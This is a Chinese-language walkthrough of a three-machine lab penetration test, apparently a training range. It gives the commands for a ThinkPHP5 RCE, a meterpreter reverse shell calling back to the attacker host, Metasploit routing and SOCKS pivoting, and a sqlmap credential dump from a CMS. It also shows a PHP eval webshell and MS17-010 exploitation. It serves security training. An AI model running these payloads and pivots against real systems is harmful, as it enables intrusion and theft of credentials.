一、靶场环境

  • 攻击机(kali):192.168.2.3
  • 靶机1(centos7):192.168.2.2 192.168.111.7
  • 靶机2(unhu tu):192.168.111.6 192.168.3.3
  • 靶机3(win7):192.168.3.4

  • 网络不可达

二、实战渗透

2.1 探测PC1

nmap -sT -Pn 192.168.2.0/24

发现是Thinkphp5,直接试试历史漏洞

webshell到手,生成msf反向木马,上线msf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=6666 -f elf -o /root/1.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.2.3
set lport 6666
run

chmod +x 1.elf
./1.elf

  • 得到flag1

2.2 探测PC2

发现PC1有双网卡并添加路由

run get_local_subnets 查看网络信息
run autoroute -s 192.168.111.0/24
run autoroute -p 查看路由

PC1建立代理

use auxiliary/server/socks_proxy
show options
set srvhost 0.0.0.0
set srvport 2222
run

/etc/proxychains.conf如下配置代理
socks5 192.168.2.3 2222

proxychains nmap -Pn -sT 192.168.111.0/24

  • 看源代码发现注入点

直接用sqlmap跑吧(走代理)

查表名
sqlmap -u "http://192.168.111.6/index.php?r=vul&keyword=1" --proxy=socks5://192.168.2.3:2222 --tables

查数据
sqlmap -u "http://192.168.111.6/index.php?r=vul&keyword=1" --proxy=socks5://192.168.2.3:2222 -T bage_admin --dump

得到账号密码为admin:123qwe

需要找到后台,看看robots文件,发现后台地址

找后台有无漏洞点,发现模板处可以修改源代码
插入一句话木马

<? @eval($_POST['x']);?>

  • 蚁剑配置代理

  • 得到flag2

  • 思考一个问题?

现在我们走代理可以访问PC2,但是PC2访问不到我们,这个时候如何让PC2上线到我们的MSF或者CS
msf的路由并非添加到物理机上,而是在msf的会话里
kali在192.168.2.0网段,msf会话的session1有到192.168.111.0网段的路由,但是PC2回来192.168.2.0网段没路由
只能kali访问到PC2,而PC2无法访问kali
想想刚刚的PC1是反向连接我们,那是因为PC1有到kali的路由,可以找到我们
那正向是不是就是我们找对方

  • 生成正向木马
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o /root/2.elf

PC2运行将木马绑定于PC2的4444端口,等待去连接

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.111.6
set lport 4444
run

  • 得到flag3

2.3 探测PC3

重复之前的路由信息收集,继续添加路由

run get_local_subnets 查看网络信息
run autoroute -s 192.168.3.0/24
run autoroute -p 查看路由

这里不需要另外开socks代理端口,走之前的即可

proxychains nmap -Pn -sT 192.168.3.0/24

发现了192.168.3.4,直接单独扫它,不然过程太漫长

proxychains nmap -sT -Pn -sV --script vuln 192.168.3.4

发现CVE2012-0002漏洞和CVE2017-0143漏洞
CVE2012-0002是蓝屏漏洞,这里没用
我们使用CVE2017-0143(永恒之蓝),需要445和139端口开放

search ms17-010
use exploit/windows/smb/ms17_010_psexec
show options
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.4
run

  • 得到flag4

2.4 三层代理全部拿下

可以看到会话2建立在会话1的基础上,即走的是会话一搭建的代理路由
可以看到会话3建立在会话2的基础上,即走的是会话一搭建的代理路由

三、总结

3.1 知识点

  1. Thinkphp5.0.23 Rce漏洞利用
  2. MSF添加路由和socks代理
  3. 八哥CMS的sql注入漏洞拿账密
  4. 八哥CMS的后台管理登陆Getshell
  5. 一句话木马
  6. ms17-010的漏洞利用

3.2 代理知识

  1. 正反向连接问题
    正向连接用在对方无法访问我们的时候使用(网络方面、防护方面等)
    反向连接用在对方可以访问我们的时候使用
  2. 在msf建立的代理只建立在会话上,而非物理机上
  3. kali的msf的使用和proxychain的使用